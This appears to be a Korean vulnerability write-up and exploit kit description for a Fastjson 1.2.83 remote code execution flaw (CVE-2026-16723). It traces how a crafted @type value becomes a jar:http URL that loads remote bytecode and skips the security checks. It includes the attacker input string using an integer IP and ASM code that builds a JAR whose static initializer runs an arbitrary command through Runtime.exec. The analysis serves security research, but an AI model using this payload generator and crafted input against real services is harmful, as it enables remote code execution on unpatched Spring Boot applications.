
Fastjson 1.2.83 RCE에 대한 상세한 CVE-2026-16723 분석 및 익스플로잇 키트로, 취약한 코드 경로, 악성 JAR/바이트코드 생성, 그리고 공격 재현을 위한 Docker Compose 환경을 다룹니다.
면책 조항: 본 프로젝트는 승인된 환경에서의 보안 연구 및 학습 용도로만 사용됩니다. 승인되지 않은 시스템에 대한 테스트는 금지되며, 사용으로 인한 결과는 사용자 본인이 책임집니다.
CVSS 9.0, Fastjson 1.2.68 ~ 1.2.83에 영향을 미칩니다. AutoType을 활성화할 필요가 없고, 서드파티 Gadget도 필요 없으며, 기본 설정만으로도 악용할 수 있습니다.
취약점의 진입점은 com.alibaba.fastjson.parser.ParserConfig.checkAutoType입니다. JSON.parse(body)를 호출하든 JSON.parseObject(body, Foo.class)를 호출하든 최종적으로 이 메서드에 진입하게 됩니다.
핵심 코드 경로(fastjson 1.2.83):
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
AutoType 스위치(autoTypeSupport)는 ① 진입 여부만 제어할 뿐, ② 애노테이션 탐지는 무조건 실행된다. ②에서 jsonType이 true로 바뀌기만 하면 ③ 타입 로딩과 ④ 보안 검사 건너뛰기가 연이어 트리거된다.
String resource = typeName.replace('.', '/') + ".class";
typeName은 JSON의 @type 값으로, 공격자가 완전히 제어할 수 있습니다. 원래 의도는 com.example.Foo를 com/example/Foo.class로 변환하는 것이지만, 입력이 URL일 때는 이것이 URL 생성기가 됩니다.
hostname의 .도 치환되기 때문에, 공격자는 정수 IP를 사용해 우회합니다. 127.0.0.1의 32비트 부호 없는 정수는 2130706433입니다:
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //, .probe! → /probe!/로 변환하여 유효한 jar:http:// 리소스 로케이터를 얻습니다.
is = defaultClassLoader.getResourceAsStream(resource);
getResourceAsStream이 jar:http://를 원격 리소스로 해석할 수 있는지는 전적으로 ClassLoader 유형에 달려 있습니다:
| ClassLoader | 동작 |
|---|---|
JDK AppClassLoader | 로컬 classpath만 검색 → null |
Tomcat WebappClassLoader(독립 WAR) | WEB-INF/lib만 검색 → null |
Spring Boot LaunchedURLClassLoader(fat-JAR) | jar:http:// 지원 → HTTP로 나가 바이트코드를 가져옴 |
여기에 혼동하기 쉬운 점이 하나 있습니다. Spring Boot가 Tomcat을 내장할 때 애플리케이션 클래스의 ClassLoader는 WebappClassLoader가 아니라 LaunchedURLClassLoader입니다. 따라서 내장 Tomcat/Jetty/Undertow 모두 영향을 받는 범위에 속합니다.
is != null일 때, 공격자가 호스팅하는 원격 class 바이트코드는 이미 JVM 메모리에 들어와 있습니다.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson은 ASM을 사용하여 바이트코드를 스캔하고 @com.alibaba.fastjson.annotation.JSONType 어노테이션이 포함되어 있는지 확인합니다. 설계 의도는 성능 최적화로, 어노테이션을 통해 Fastjson이 관리하는 타입을 빠르게 식별하는 것입니다. 그러나 여기서는 어노테이션의 존재 여부만 확인할 뿐, 바이트코드의 출처를 검증하지 않고, 클래스 이름을 확인하지 않으며, 출처를 제한하지 않습니다. 공격자의 원격 class가 @JSONType만 포함하고 있으면 jsonType=true 판정을 받을 수 있습니다.
catch (Exception e) {}가 비어 있다는 점에 주의하십시오. 공격자는 어떠한 오류도 받지 않습니다.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true 이면 조건을 충족합니다. loadClass는 표준 클래스 로딩 절차를 따르며, defineClass를 통해 바이트코드를 JVM Class 객체로 등록합니다.
두 가지 개념을 구분해야 합니다. defineClass가 완료하는 것은 클래스 정의(JVM에 등록)이며, <clinit>은 클래스 초기화 단계에서 실행됩니다. 두 단계는 동일한 요청 내에서 완료될 수 있지만, JVM 명세상 이들은 독립적입니다.
if (jsonType) {
return clazz;
}
이 줄은 이후의 모든 방어를 건너뜁니다:
ClassLoader/DataSource/RowSet 하드코딩 차단denyList 블랙리스트expectClass.isAssignableFrom(clazz) 타입 검사이는 parseObject(body, Dto.class)가 막지 못하는 이유도 설명합니다: 타입 바인딩 검사는 클래스 로딩 이후에 이루어지지만, 공격 코드는 로딩 단계에서 이미 실행되기 때문입니다.
공격자는 세 가지 조건을 충족하는 바이트코드 파일을 생성해야 합니다: @JSONType 애노테이션을 포함하고, <clinit>에 공격 코드를 삽입하며, HTTP를 통해 호스팅되는 것.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
악성 로직은 <clinit>을 통해 트리거되며, 클래스가 로드되는 즉시 실행됩니다.
이 체인의 본질은 Fastjson의 애노테이션 탐지를 원격 클래스 로더로 바꾸는 것입니다. 공격자는 @type의 값을 제어하고, 문자열 변환을 통해 URL을 구성하며, getResourceAsStream을 이용해 SSRF를 발동하여 바이트코드를 가져오고, @JSONType 애노테이션으로 ASM 프로브의 검사를 통과하며, loadClass를 거쳐 클래스 정의를 완료하고, 마지막으로 return clazz에 의해 모든 보안 검사를 건너뜁니다.